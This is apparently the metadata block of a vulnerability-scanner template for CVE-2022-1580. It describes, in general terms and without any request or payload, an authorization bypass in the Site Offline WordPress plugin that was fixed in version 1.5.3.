id: CVE-2022-1580

info:
  name: Site Offline WP Plugin < 1.5.3 - Authorization Bypass
  author: s4e-io
  severity: medium
  description: |
    The plugin prevents users from accessing a website but does not do so if the URL contained certain keywords. Adding those keywords to the URL's query string would bypass the plugin's main feature.
  impact: |
    Attackers can bypass the site offline/maintenance mode by adding specific keywords to the URL query string, gaining unauthorized access to the website.
  remediation: Fixed in 1.5.3
